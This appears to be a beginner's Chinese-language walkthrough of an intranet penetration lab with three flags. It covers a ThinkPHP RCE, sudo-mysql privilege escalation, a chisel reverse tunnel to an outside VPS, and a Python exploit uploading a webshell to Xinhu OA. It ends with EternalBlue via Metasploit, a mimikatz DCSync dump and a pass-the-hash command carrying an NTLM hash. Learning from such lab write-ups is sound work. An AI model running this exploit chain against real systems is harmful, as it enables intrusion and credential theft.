前言
第一次正式接触内网渗透的东西,写的很新手,也适合新手观看,有问题可以私信或评论,接下来会持续更新
信息收集
拿到地址先nmap扫端口
没什么发现,直接访问80端口,看到图标知道是thinkphp
第一台Thinkphp
用thinkphp漏洞集成工具测试,发现有rce的漏洞
一键getshell,用蚁剑连上去
whoami,发现权限比较低
查命令
find / -user root -perm -40002>/dev/null
有一个sudo可以用
sudo -l看看
sudo -l就是列出目前用户可执行与无法执行的指令
看到有个mysql,网上查一查
这个网站很不错,有各种命令的提权手段:
https://gtfobins.github.io/
可以看到
执行命令
sudo mysql -e ‘! ls /root’
然后读取
得到第一段flag
那这台的flag已经找到了,也没什么可用信息,接下来就是打内网,ifconfig看看
传fscan到靶机上(其实保险一点可以不用传,配好代理通过本机也可以扫到的),传上以后chmod给权限再用
用fscan扫c段
fscan_amd64 -h 172.22.1.0/24
cat result.txt
得到
172.22.1.15:22 open
172.22.1.18:139 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:135 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.2:88 open
172.22.1.18:3306 open
172.22.1.18:445 open
172.22.1.21:445 open
172.22.1.2:445 open
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
明显看到一个信呼oa,那么先搭建代理才能让我们访问到内网,这里我用的是chisel,github搜一下就有
在你的vps执行:
./chisel server -p 1234 --reverse
在跳板机(也就是我们已经getshell的机子上)执行:
./chisel client vpsip:1234 R:0.0.0.0:1235:socks
然后google插件配代理
或者通过profixier配,profixier的话比较好用一点,相当于一个全局的代理,可以让本机和靶机进行远程桌面连接,这是后话
配好以后就可以在自己的电脑上访问到靶机内网的内容了
第二台 信呼OA(内网)
因为有一个oa所以先访问这个系统
有版本号,网上搜一下有漏洞,这里直接用别的师傅的脚本攻击
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
这里我print了一下路径,1.php改成post传参就行,然后看返回的路径去蚁剑连接
url/upload/xxxx
在这个地方找到flag2
第三个FLAG
现在剩最后一个flag了,应该在DC上,但是我们需要通过域内的另一台靶机去攻击,通过前面的信息收集可以知道
这里有永恒之蓝,用msf攻击
先在kali上配置好proxychains
vim /etc/proxychains.conf
格式为:代理规则 ip 端口
然后启动msf,攻击
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
攻击成功后我们会得到一个正向连接的shell
用load kiwi来调用mimikatz模块,然后抓取用户的hash
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)
可以看到这里直接有Administrator的hash值,用crackmapexec去进行hash传递攻击,使得我们可以访问到DC上的文件
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
成功读取到最后一串flag
知识点:代理搭建,mimakatze基础用法,哈希传递攻击,DCSync,crackmapexec使用